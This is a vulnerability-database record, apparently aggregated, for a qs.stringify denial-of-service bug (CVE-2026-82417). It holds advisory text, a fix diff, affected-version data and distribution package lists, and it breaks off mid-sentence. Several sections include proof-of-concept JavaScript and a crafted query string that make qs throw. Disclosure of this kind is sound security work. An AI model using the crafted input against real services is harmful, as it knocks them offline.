{"id":"CVE-2026-82417","aliases":["AZL-98331","AZL-98334","AZL-98397","CLSA-2026-1788167376","CLSA-2026-1790178011","CLSA-2026-1790183894","CLSA-2026-1790183896","CLSA-2026-1790521454","CLSA-2026-1790541933","CLSA-2026-1792074695","CLSA-2026-1792074756","CLSA-2026-1792074861","CLSA-2026-1792074917","CLSA-2026-1792164286","CLSA-2026-1792447268","CLSA-2026-1792449761","CLSA-2026-1792476180","CLSA-2026-1792763694","CLSA-2026-1793098775","CLSA-2026-1794058800","CLSA-2026-1794060891","DEBIAN-CVE-2026-82417","EUVD-2026-68140","GHSA-4mjr-xmp4-gh2g","RHSA-2026:62544","RHSA-2026:63164","UBUNTU-CVE-2026-82417"],"status":"published","title":"qs.stringify throws TypeError on objects with a non-callable constructor.isBuffer property","description":"### Summary\n\n\n\n`qs.stringify` throws a `TypeError` when it serializes an object whose own `constructor` property has a truthy, non-callable `isBuffer` member. `utils.isBuffer` duck-types buffers by calling `obj.constructor.isBuffer(obj)` after checking only that the property is truthy, so a value such as `{ constructor: { isBuffer: \"x\" } }` makes the call throw `TypeError: obj.constructor.isBuffer is not a function`.\n\n\n\n### Details\n\n\n\n`lib/stringify.js:127` calls `utils.isBuffer` on every non-primitive value it serializes. `utils.isBuffer` (`lib/utils.js:332`) reads `obj.constructor.isBuffer` and invokes it without verifying that it is a function. `constructor` and `isBuffer` are ordinary property names, so any object carrying them as own properties reaches the unchecked call.\n\n\n\nSuch an object can be built from untrusted input. `qs.parse(\"x[constructor][isBuffer]=y\", { plainObjects: true })` or `{ allowPrototypes: true }` keeps the `constructor` key as an own property (the default parse options drop it), and `JSON.parse(\"{\\\"a\\\":{\\\"constructor\\\":{\\\"isBuffer\\\":\\\"x\\\"}}}\")` produces the same shape with no qs option involved. Express 4 with its default `query parser` setting and body-parser with `extended: true` both call `qs.parse` with `allowPrototypes: true`, so on those stacks `req.query` and `req.body` can carry the shape directly.\n\n\n\n#### PoC\n\n\n\n```js\n\n\n\nvar qs = require(\"qs\");\n\n\n\nqs.stringify(qs.parse(\"x[constructor][isBuffer]=y\", { plainObjects: true }));\n\n\n\nqs.stringify(JSON.parse(\"{\\\"a\\\":{\\\"constructor\\\":{\\\"isBuffer\\\":\\\"x\\\"}}}\"));\n\n\n\n// TypeError: obj.constructor.isBuffer is not a function\n\n\n\n//     at Object.isBuffer (lib/utils.js:332:78)\n\n\n\n//     at stringify (lib/stringify.js:127:45)\n\n\n\n```\n\n\n\n#### Fix\n\n\n\n`lib/utils.js`, applied in e83d321 on `main` and released as v6.16.0:\n\n\n\n```diff\n\n\n\n- return !!(obj.constructor \u0026\u0026 obj.constructor.isBuffer \u0026\u0026 obj.constructor.isBuffer(obj));\n\n\n\n+ return !!(obj.constructor \u0026\u0026 typeof obj.constructor.isBuffer === \"function\" \u0026\u0026 obj.constructor.isBuffer(obj));\n\n\n\n```\n\n\n\nReal `Buffer`, `safer-buffer`, and browserify `buffer` polyfill instances serialize exactly as before; only the throw is removed.\n\n\n\n### Affected versions\n\n\n\n`\u003e=2.2.5 \u003c6.16.0`, fixed in v6.16.0.\n\n\n\nThe unguarded duck-type was introduced in 3768a75 and first shipped in v2.2.5 (September 2014). v2.2.4 and earlier used `Buffer.isBuffer` and are not affected. Every release from v2.2.5 through v6.15.3 contains the unguarded call.\n\n\n\n### Impact\n\n\n\nAn unauthenticated request can make any code path that re-serializes attacker-influenced data with `qs.stringify` (for example, rebuilding a query string from `req.query` for a redirect or an upstream request, or serializing a parsed JSON body) throw synchronously. In a typical Node.js HTTP framework the throw is caught by the framework error boundary and the affected request returns a 500; the process survives and other requests are unaffected. Where the call runs outside an error boundary, such as an `async` Express 4 handler (where the throw becomes an unhandled promise rejection) or a background job, the process exits, so the impact in that case depends on the application error handling rather than on qs.","severity":{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00396,"percentile":0.34277,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-248","CWE-703"],"published":"2026-08-29T23:51:27Z","modified":"2026-11-07T19:00:36Z","fixes":[{"ecosystem":"npm","package":"qs","fixed_in":["6.16.0"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"qs","fixed_in":["6.14.0-tuxcare.2","5.2.1-tuxcare.3","6.2.6-tuxcare.1","6.4.3-tuxcare.1","2.3.3-tuxcare.2","2.2.5-tuxcare.2","3.1.0-tuxcare.4","2.4.2-tuxcare.4","6.10.4-tuxcare.2"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-qs","fixed_in":["6.16.0+ds+~6.15.1-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"qs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.5"},{"fixed":"6.16.0"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"js-jquery","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.5.0-4"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"nodejs-nodemon","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.0.3-5"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"python-tensorboard","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.16.2-6"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"qs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.14.0-tuxcare.0"},{"fixed":"6.14.0-tuxcare.2"}]}],"versions":["6.14.0","6.14.0-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"qs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.2.1-tuxcare.0"},{"fixed":"5.2.1-tuxcare.3"}]}],"versions":["5.2.1","5.2.1-tuxcare.1","5.2.1-tuxcare.2"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"qs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.2.6-tuxcare.0"},{"fixed":"6.2.6-tuxcare.1"}]}],"versions":["6.2.6"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"qs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.4.3-tuxcare.0"},{"fixed":"6.4.3-tuxcare.1"}]}],"versions":["6.4.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"qs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.13.0-tuxcare.0"},{"fixed":"6.13.0-tuxcare.1"}]}],"versions":["6.13.0"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"qs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.15.3-tuxcare.0"},{"fixed":"6.15.3-tuxcare.1"}]}],"versions":["6.15.3"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"qs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.3-tuxcare.0"},{"fixed":"2.3.3-tuxcare.2"}]}],"versions":["2.3.3","2.3.3-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"qs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.5-tuxcare.0"},{"fixed":"2.2.5-tuxcare.2"}]}],"versions":["2.2.5","2.2.5-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"qs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.0-tuxcare.0"},{"fixed":"3.1.0-tuxcare.4"}]}],"versions":["3.1.0","3.1.0-tuxcare.1","3.1.0-tuxcare.2","3.1.0-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"qs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.4.2-tuxcare.0"},{"fixed":"2.4.2-tuxcare.4"}]}],"versions":["2.4.2","2.4.2-tuxcare.1","2.4.2-tuxcare.2","2.4.2-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"qs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.11.2-tuxcare.0"},{"fixed":"6.11.2-tuxcare.1"}]}],"versions":["6.11.2"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"qs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.5.1-tuxcare.0"},{"fixed":"6.5.1-tuxcare.1"}]}],"versions":["6.5.1"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"qs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.14.2-tuxcare.0"},{"fixed":"6.14.2-tuxcare.1"}]}],"versions":["6.14.2"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"qs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.2.1-tuxcare.0"},{"fixed":"6.2.1-tuxcare.1"}]}],"versions":["6.2.1"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"qs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.5.3-tuxcare.0"},{"fixed":"6.5.3-tuxcare.2"}]}],"versions":["6.5.3","6.5.3-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"qs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.10.4-tuxcare.0"},{"fixed":"6.10.4-tuxcare.2"}]}],"versions":["6.10.4","6.10.4-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"qs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.9.6-tuxcare.0"},{"fixed":"6.9.6-tuxcare.1"}]}],"versions":["6.9.6"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"qs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.9.1-tuxcare.0"},{"fixed":"6.9.1-tuxcare.1"}]}],"versions":["6.9.1"],"bundled":2},{"source":"osv","ecosystem":"Debian:12","package":"node-qs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.11.0+ds+~6.9.7-3","6.11.0+ds+~6.9.7-4","6.13.0+ds+~6.9.16-1","6.14.1+ds+~6.14.0-1","6.15.0+ds+~6.15.0-1","6.15.0+ds+~6.15.0-2","6.15.0+ds+~6.15.0-3","6.15.2+ds+~6.15.1-1","6.16.0+ds+~6.15.1-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-qs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.13.0+ds+~6.9.16-1","6.14.1+ds+~6.14.0-1","6.15.0+ds+~6.15.0-1","6.15.0+ds+~6.15.0-2","6.15.0+ds+~6.15.0-3","6.15.2+ds+~6.15.1-1","6.16.0+ds+~6.15.1-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-qs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.16.0+ds+~6.15.1-1"}]}],"versions":["6.13.0+ds+~6.9.16-1","6.14.1+ds+~6.14.0-1","6.15.0+ds+~6.15.0-1","6.15.0+ds+~6.15.0-2","6.15.0+ds+~6.15.0-3","6.15.2+ds+~6.15.1-1"]},{"source":"osv","ecosystem":"npm","package":"qs","ranges":[{"type":"SEMVER","events":[{"introduced":"2.2.5"},{"fixed":"6.16.0"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"grafana13.1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:13.1.3-0.4.hum1"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"grafana13.2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:13.2.1-0.1.hum1"}]}],"bundled":10},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"node-qs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.4.2-1","0.6.5-1","0.6.5-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"node-qs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.2.4-1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"node-qs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.2.4-1","2.2.4-1ubuntu1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"node-qs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.5.2-1","6.9.0+ds-1","6.9.1+ds-1","6.9.1+ds-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-qs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.9.4+ds-1","6.10.1+ds-1","6.10.2+ds+~6.9.7-1","6.10.3+ds+~6.9.7-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-qs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.11.0+ds+~6.9.7-3","6.11.0+ds+~6.9.7-4"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-qs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.14.1+ds+~6.14.0-1","6.15.2+ds+~6.15.1-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"node-qs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.13.0+ds+~6.9.16-1","6.14.1+ds+~6.14.0-1"]}],"products":[{"vendor":"ljharb","product":"qs"}],"references":[{"url":"https://github.com/ljharb/qs/security/advisories/GHSA-4mjr-xmp4-gh2g","tags":["vendor-advisory","exploit","advisory","web","article","report"]},{"url":"https://github.com/ljharb/qs/commit/e83d321ffafb38cf210683ac31714fce6ce1c6c6","tags":["patch","fix","web","article","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-82417","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-4mjr-xmp4-gh2g"},{"url":"https://npmjs.com/qs","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/82xxx/CVE-2026-82417.json","tags":["advisory"]},{"url":"https://github.com/ljharb/qs","tags":["package"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-82417","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:62544","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-82417","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-82562","tags":["report"]},{"url":"https://access.redhat.com/security/updates/classification/","tags":["article"]},{"url":"https://images.redhat.com/","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_62544.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2525936","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-82417","tags":["advisory","report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2525939","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-82562","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-82562","tags":["advisory"]},{"url":"https://github.com/ljharb/qs/commit/8859c37470e11b42b547b275e4e9bd0bc8cc5464","tags":["article"]},{"url":"https://github.com/ljharb/qs/security/advisories/GHSA-w7fw-mjwx-w883","tags":["article"]},{"url":"https://github.com/ljharb/qs/security/advisories/GHSA-x5fp-wj9c-mxmx","tags":["article"]},{"url":"https://access.redhat.com/errata/RHSA-2026:63164","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-17033","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-19197","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-21723","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-9765","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-8595","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-33382","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-8609","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-84375","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_63164.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2499051","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-8595","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8595","tags":["advisory"]},{"url":"https://grafana.com/security/security-advisories/cve-2026-8595","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2499061","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-8609","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8609","tags":["advisory"]},{"url":"https://grafana.com/security/security-advisories/cve-2026-8609","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2506730","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-9765","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-9765","tags":["advisory"]},{"url":"https://grafana.com/security/security-advisories/cve-2026-9765","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2521910","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-17033","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-17033","tags":["advisory"]},{"url":"https://grafana.com/security/security-advisories/cve-2026-17033","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2524303","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-19197","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-19197","tags":["advisory"]},{"url":"https://grafana.com/security/security-advisories/cve-2026-19197","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2506342","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-21723","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-21723","tags":["advisory"]},{"url":"https://grafana.com/security/security-advisories/cve-2026-21723","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2499062","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-33382","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33382","tags":["advisory"]},{"url":"https://grafana.com/security/security-advisories/cve-2026-33382","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2527118","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-84375","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84375","tags":["advisory"]},{"url":"https://github.com/nodeca/js-yaml/commit/3485bc06ff8a0251505f44a00414d90df2466639","tags":["article"]},{"url":"https://github.com/nodeca/js-yaml/commit/6a8e05f9a485188ed730ac81e81ae221352ef480","tags":["article"]},{"url":"https://github.com/nodeca/js-yaml/commit/d90b6612a5a84385bdcb556c44578eac76dc0f6b","tags":["article"]},{"url":"https://github.com/nodeca/js-yaml/pull/797","tags":["article"]},{"url":"https://github.com/nodeca/js-yaml/releases/tag/3.15.2","tags":["article"]},{"url":"https://github.com/nodeca/js-yaml/releases/tag/4.3.2","tags":["article"]},{"url":"https://github.com/nodeca/js-yaml/security/advisories/GHSA-2883-xcg3-v3hh","tags":["article"]},{"url":"https://ubuntu.com/security/CVE-2026-82417","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-82417","title":"qs.stringify throws TypeError on objects with a non-callable constructor.isBuffer property","description":"### Summary\n\n\n\n`qs.stringify` throws a `TypeError` when it serializes an object whose own `constructor` property has a truthy, non-callable `isBuffer` member. `utils.isBuffer` duck-types buffers by calling `obj.constructor.isBuffer(obj)` after checking only that the property is truthy, so a value such as `{ constructor: { isBuffer: \"x\" } }` makes the call throw `TypeError: obj.constructor.isBuffer is not a function`.\n\n\n\n### Details\n\n\n\n`lib/stringify.js:127` calls `utils.isBuffer` on every non-primitive value it serializes. `utils.isBuffer` (`lib/utils.js:332`) reads `obj.constructor.isBuffer` and invokes it without verifying that it is a function. `constructor` and `isBuffer` are ordinary property names, so any object carrying them as own properties reaches the unchecked call.\n\n\n\nSuch an object can be built from untrusted input. `qs.parse(\"x[constructor][isBuffer]=y\", { plainObjects: true })` or `{ allowPrototypes: true }` keeps the `constructor` key as an own property (the default parse options drop it), and `JSON.parse(\"{\\\"a\\\":{\\\"constructor\\\":{\\\"isBuffer\\\":\\\"x\\\"}}}\")` produces the same shape with no qs option involved. Express 4 with its default `query parser` setting and body-parser with `extended: true` both call `qs.parse` with `allowPrototypes: true`, so on those stacks `req.query` and `req.body` can carry the shape directly.\n\n\n\n#### PoC\n\n\n\n```js\n\n\n\nvar qs = require(\"qs\");\n\n\n\nqs.stringify(qs.parse(\"x[constructor][isBuffer]=y\", { plainObjects: true }));\n\n\n\nqs.stringify(JSON.parse(\"{\\\"a\\\":{\\\"constructor\\\":{\\\"isBuffer\\\":\\\"x\\\"}}}\"));\n\n\n\n// TypeError: obj.constructor.isBuffer is not a function\n\n\n\n//     at Object.isBuffer (lib/utils.js:332:78)\n\n\n\n//     at stringify (lib/stringify.js:127:45)\n\n\n\n```\n\n\n\n#### Fix\n\n\n\n`lib/utils.js`, applied in e83d321 on `main` and released as v6.16.0:\n\n\n\n```diff\n\n\n\n- return !!(obj.constructor \u0026\u0026 obj.constructor.isBuffer \u0026\u0026 obj.constructor.isBuffer(obj));\n\n\n\n+ return !!(obj.constructor \u0026\u0026 typeof obj.constructor.isBuffer === \"function\" \u0026\u0026 obj.constructor.isBuffer(obj));\n\n\n\n```\n\n\n\nReal `Buffer`, `safer-buffer`, and browserify `buffer` polyfill instances serialize exactly as before; only the throw is removed.\n\n\n\n### Affected versions\n\n\n\n`\u003e=2.2.5 \u003c6.16.0`, fixed in v6.16.0.\n\n\n\nThe unguarded duck-type was introduced in 3768a75 and first shipped in v2.2.5 (September 2014). v2.2.4 and earlier used `Buffer.isBuffer` and are not affected. Every release from v2.2.5 through v6.15.3 contains the unguarded call.\n\n\n\n### Impact\n\n\n\nAn unauthenticated request can make any code path that re-serializes attacker-influenced data with `qs.stringify` (for example, rebuilding a query string from `req.query` for a redirect or an upstream request, or serializing a parsed JSON body) throw synchronously. In a typical Node.js HTTP framework the throw is caught by the framework error boundary and the affected request returns a 500; the process survives and other requests are unaffected. Where the call runs outside an error boundary, such as an `async` Express 4 handler (where the throw becomes an unhandled promise rejection) or a background job, the process exits, so the impact in that case depends on the application error handling rather than on qs.","status":"published","published":"2026-08-29T23:51:27.634Z","modified":"2026-08-31T17:08:24.074Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"},{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-248","CWE-703"],"updated_at":"2026-11-02T13:40:46.161838Z"}],"euvd":[{"id":"EUVD-2026-68140","description":"### Summary\n\n\n\n`qs.stringify` throws a `TypeError` when it serializes an object whose own `constructor` property has a truthy, non-callable `isBuffer` member. `utils.isBuffer` duck-types buffers by calling `obj.constructor.isBuffer(obj)` after checking only that the property is truthy, so a value such as `{ constructor: { isBuffer: \"x\" } }` makes the call throw `TypeError: obj.constructor.isBuffer is not a function`.\n\n\n\n### Details\n\n\n\n`lib/stringify.js:127` calls `utils.isBuffer` on every non-primitive value it serializes. `utils.isBuffer` (`lib/utils.js:332`) reads `obj.constructor.isBuffer` and invokes it without verifying that it is a function. `constructor` and `isBuffer` are ordinary property names, so any object carrying them as own properties reaches the unchecked call.\n\n\n\nSuch an object can be built from untrusted input. `qs.parse(\"x[constructor][isBuffer]=y\", { plainObjects: true })` or `{ allowPrototypes: true }` keeps the `constructor` key as an own property (the default parse options drop it), and `JSON.parse(\"{\\\"a\\\":{\\\"constructor\\\":{\\\"isBuffer\\\":\\\"x\\\"}}}\")` produces the same shape with no qs option involved. Express 4 with its default `query parser` setting and body-parser with `extended: true` both call `qs.parse` with `allowPrototypes: true`, so on those stacks `req.query` and `req.body` can carry the shape directly.\n\n\n\n#### PoC\n\n\n\n```js\n\n\n\nvar qs = require(\"qs\");\n\n\n\nqs.stringify(qs.parse(\"x[constructor][isBuffer]=y\", { plainObjects: true }));\n\n\n\nqs.stringify(JSON.parse(\"{\\\"a\\\":{\\\"constructor\\\":{\\\"isBuffer\\\":\\\"x\\\"}}}\"));\n\n\n\n// TypeError: obj.constructor.isBuffer is not a function\n\n\n\n//     at Object.isBuffer (lib/utils.js:332:78)\n\n\n\n//     at stringify (lib/stringify.js:127:45)\n\n\n\n```\n\n\n\n#### Fix\n\n\n\n`lib/utils.js`, applied in e83d321 on `main` and released as v6.16.0:\n\n\n\n```diff\n\n\n\n- return !!(obj.constructor \u0026\u0026 obj.constructor.isBuffer \u0026\u0026 obj.constructor.isBuffer(obj));\n\n\n\n+ return !!(obj.constructor \u0026\u0026 typeof obj.constructor.isBuffer === \"function\" \u0026\u0026 obj.constructor.isBuffer(obj));\n\n\n\n```\n\n\n\nReal `Buffer`, `safer-buffer`, and browserify `buffer` polyfill instances serialize exactly as before; only the throw is removed.\n\n\n\n### Affected versions\n\n\n\n`\u003e=2.2.5 \u003c6.16.0`, fixed in v6.16.0.\n\n\n\nThe unguarded duck-type was introduced in 3768a75 and first shipped in v2.2.5 (September 2014). v2.2.4 and earlier used `Buffer.isBuffer` and are not affected. Every release from v2.2.5 through v6.15.3 contains the unguarded call.\n\n\n\n### Impact\n\n\n\nAn unauthenticated request can make any code path that re-serializes attacker-influenced data with `qs.stringify` (for example, rebuilding a query string from `req.query` for a redirect or an upstream request, or serializing a parsed JSON body) throw synchronously. In a typical Node.js HTTP framework the throw is caught by the framework error boundary and the affected request returns a 500; the process survives and other requests are unaffected. Where the call runs outside an error boundary, such as an `async` Express 4 handler (where the throw becomes an unhandled promise rejection) or a background job, the process exits, so the impact in that case depends on the application error handling rather than on qs.","status":"published","published":"2026-08-29T23:51:27Z","modified":"2026-08-31T17:08:24Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T18:01:20.704822Z"}],"ghsa":[{"id":"GHSA-4mjr-xmp4-gh2g","title":"qs: Denial of Service via Attacker Controlled isBuffer","description":"### Summary\n\n`qs.stringify()` calls `utils.isBuffer()` on every value it serializes, and `utils.isBuffer()` invokes `obj.constructor.isBuffer(obj)` without checking that it is callable. A value whose own `constructor.isBuffer` is a non-function makes `qs` call a non-callable and throw `TypeError`. Such a value is produced **by `qs.parse` itself** from an untrusted query string when `plainObjects: true` or `allowPrototypes: true` is set, so a pure-`qs` `parse` → `stringify` round-trip — no `JSON.parse` — turns an unauthenticated query string into an uncaught throw.\n\nAn attacker-controlled `parse` input reaches the host application's availability asset — via `qs`'s own recommended `plainObjects` mitigation — and triggers an uncaught exception during a `parse` → `stringify` round-trip.\n\n### Details\n`utils.isBuffer` runs at `lib/stringify.js:127` for every serialized value:\n\n```js\nif (isNonNullishPrimitive(obj) || utils.isBuffer(obj)) { ... }\n```\n\n`utils.isBuffer` (`lib/utils.js:327-333`) invokes `obj.constructor.isBuffer` without verifying it is callable:\n\n```js\nvar isBuffer = function isBuffer(obj) {\n    if (!obj || typeof obj !== 'object') { return false; }\n    return !!(obj.constructor \u0026\u0026 obj.constructor.isBuffer \u0026\u0026 obj.constructor.isBuffer(obj));\n};\n```\n\n`constructor` and `isBuffer` are ordinary keys. `qs.parse` with `plainObjects: true` or `allowPrototypes: true` keeps them as own properties, so the parsed value carries a non-function `constructor.isBuffer`; `stringify` then calls a non-callable and throws `TypeError`. By contrast `utils.isRegExp` uses a brand check (`Object.prototype.toString`); the missing guard here is an internal inconsistency, not a platform limitation.\n\n\n### Trust Boundary Note\n\n`qs.stringify` alone treats its input as caller-constructed, so serializing a hostile object could be argued outside its contract. This report does not depend on that framing: the malicious shape is produced by **`qs.parse`, whose input is untrusted by design**. `qs.parse` normally strips a `constructor` key via its prototype guard, but with the documented options `plainObjects: true` or `allowPrototypes: true` the key survives and lands as an own property. Feeding the parsed object back into `qs.stringify` — the standard round-trip in gateways and request-forwarders — then hits the unchecked call. \n\n\n### PoC\n`poc02c_isBuffer_qs_only_roundtrip.js` — pure-`qs` chain, no `JSON.parse`; an untrusted query string alone reaches the throw:\n\n```js\n'use strict';\nvar qs = require('qs');\n\nvar untrustedQueryString = 'x%5Bconstructor%5D%5BisBuffer%5D=y'; // x[constructor][isBuffer]=y\n\nvar parsed = qs.parse(untrustedQueryString, { plainObjects: true });\nconsole.log('[parse] kept constructor key:', JSON.stringify(parsed));\n\ntry {\n    qs.stringify(parsed);\n    console.log('[stringify] no throw (unexpected)');\n} catch (e) {\n    console.log('[stringify] DoS reproduced -\u003e', e.constructor.name + ':', e.message);\n}\n```\n\n`poc02_isBuffer.js` — the minimal defect:\n\n```js\n'use strict';\nvar qs = require('qs');\ntry {\n    